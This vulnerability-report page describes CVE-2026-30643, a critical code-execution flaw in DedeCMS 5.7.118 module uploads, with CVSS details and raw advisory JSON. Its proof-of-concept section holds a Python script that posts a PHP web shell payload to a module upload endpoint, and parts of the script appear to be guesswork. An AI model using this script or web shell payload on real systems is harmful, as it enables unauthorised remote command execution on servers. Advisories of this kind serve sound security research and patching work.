Security Vulnerability Report
中文
CVE-2026-30643 CVSS 9.8 CRITICAL

CVE-2026-30643

Published: 2026-04-01 17:28:39
Last Modified: 2026-04-06 15:29:19

Description

An issue was discovered in DedeCMS 5.7.118 allowing attackers to execute code via crafted setup tag values in a module upload.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:* - VULNERABLE
DedeCMS 5.7.118

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/dede/module_upload.php" # Malicious payload injected via setup tag # This payload attempts to write a webshell or execute code malicious_payload = "<?php system($_GET['cmd']); ?>" # Data structure mimicking the module upload with crafted setup tag payload_data = { "modname": "exploit_module", "setup_tag": malicious_payload } try: # Sending the exploit request response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the target for code execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30643", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:39.003", "lastModified": "2026-04-06T15:29:18.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in DedeCMS 5.7.118 allowing attackers to execute code via crafted setup tag values in a module upload."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.7.118", "matchCriteriaId": "EDD6243A-0F88-4E95-87BD-D3A72938D6BF"}]}]}], "references": [{"url": "https://gist.github.com/0psPwn/10c43912adee9bfe2ff4fec947d4ee5a", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.dedecms.com/", "source": "[email protected]", "tags": ["Product"]}]}}